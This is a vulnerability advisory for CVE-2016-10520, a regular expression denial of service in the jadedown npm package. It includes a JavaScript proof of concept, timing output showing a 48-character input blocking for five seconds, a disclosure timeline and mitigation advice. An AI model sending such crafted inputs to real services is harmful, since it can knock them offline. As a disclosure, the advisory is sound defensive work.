CVE-2016-10520
Regular Expression Denial of Service in jadedown
Description
The `jadedown` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in. ### Proof of concept ```js var jadedown = require('jadedown'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=1;i<=10000000;i=i+1) { console.log("COUNT: " + i); var str = genstr(i, 'f') + genstr(i, '#') + '{'; console.log("LENGTH: " + str.length); var start = process.hrtime(); jadedown(str) var end = process.hrtime(start); console.log(end); } ``` Results demonstrating blocking for 5 seconds using only 48 characters. ``` $ node jadedown.js COUNT: 1 LENGTH: 6 [ 0, 4014065 ] COUNT: 4 LENGTH: 12 [ 0, 503507 ] COUNT: 7 LENGTH: 18 [ 0, 325225 ] COUNT: 10 LENGTH: 24 [ 0, 1632684 ] COUNT: 13 LENGTH: 30 [ 0, 7541230 ] COUNT: 16 LENGTH: 36 [ 0, 80889495 ] COUNT: 19 LENGTH: 42 [ 0, 636009936 ] COUNT: 22 LENGTH: 48 [ 5, 820586760 ] ``` # Timeline - October 24, 2015 - Vulnerability Identified - October 24, 2015 - Maintainers Notified - October 25, 2015 - Response from Maintainers with intent to fix - January 5, 2016 - Advisory Published - January 11, 2016 - CVE Requested ## Recommendation This package is not actively maintained, and has not seen an update since 2011. The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.
How to fix CVE-2016-10520
No fixed version has been published yet. Mitigate by removing the affected package or applying upstream guidance from the references below.
- —no fix listed
Is CVE-2016-10520 being exploited?
Low — EPSS is 0.3%, meaning exploitation activity has not been observed at scale.